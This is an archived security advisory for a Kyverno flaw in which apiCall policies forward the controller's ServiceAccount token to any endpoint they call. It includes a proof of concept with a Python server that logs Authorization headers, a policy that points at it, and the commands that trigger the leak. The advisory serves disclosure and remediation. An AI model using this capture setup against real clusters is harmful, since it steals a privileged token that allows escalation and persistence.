Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
Historical advisory saved 24 Oct 2026 13:19:41 UTC. The publisher may have updated it since then. Latest advisory.
osv · GHSA-8wfp-579w-6r25
Published### Summary Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints. The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in. --- ### Details Kyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from: `/var/run/secrets/kubernetes.io/serviceaccount/token` and injects it into every HTTP request as: ``` Authorization: Bearer <token> ``` This occurs when no explicit `Authorization` header is defined in the policy. #### Root cause ```go if req.Header.Get("Authorization") == "" { token := a.getToken() if token != "" { req.Header.Add("Authorization", "Bearer "+token) } } ``` This logic introduces several issues: - **Implicit credential forwarding** to arbitrary endpoints - **No trust boundary validation** (external/internal distinction) - **Undocumented behavior** - **Header.Add instead of Set** allows duplication - **No token sanitization** (potential trailing newline) --- ### PoC #### Preconditions - Kyverno installed (v1.17.1 tested) - A policy using `apiCall.service.url` --- #### Step 1 — Deploy capture server ```bash kubectl run capture --image=python:3-slim --restart=Never -- \ python3 -c " import http.server class H(http.server.BaseHTTPRequestHandler): def do_GET(self): print(self.headers.get('Authorization'), flush=True) self.send_response(200) self.end_headers() http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()" kubectl expose pod capture --port=8888 ``` --- #### Step 2 — Create policy ```yaml apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: token-leak spec: rules: - name: test match: any: - resources: kinds: ["Pod"] context: - name: r apiCall: method: GET service: url: "http://capture.default.svc:8888" jmesPath: "@" ``` --- #### Step 3 — Trigger ```bash kubectl run test --image=nginx ``` --- #### Step 4 — Observe token ```bash kubectl logs capture ``` Output: ``` Authorization: Bearer <SA_TOKEN> ``` --- ### Impact #### Vulnerability class - Credential exposure / leakage #### Impact details - Exposure of Kubernetes ServiceAccount token - Token grants: - Full control over Kyverno policies - Ability to create/delete webhooks - Read cluster-wide resources - Privilege escalation and persistence
- Source published
- 16 Apr 2026 21:37:29 UTC
- Source modified
- 25 Sep 2026 14:25:37 UTC
- Saved here
- 24 Oct 2026 13:19:41 UTC
- Source terms
- GitHub Advisory Database · CC-BY-4.0
Original source record · Cite this exact observation · Complete original publisher JSON
Source: osv · GitHub Advisory Database · CC-BY-4.0. The publisher's wording is preserved. ChangeIntel groups the information and labels changes. The JSON record includes additional source fields.
CVSS_V3 · CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
Publisher rating · HIGH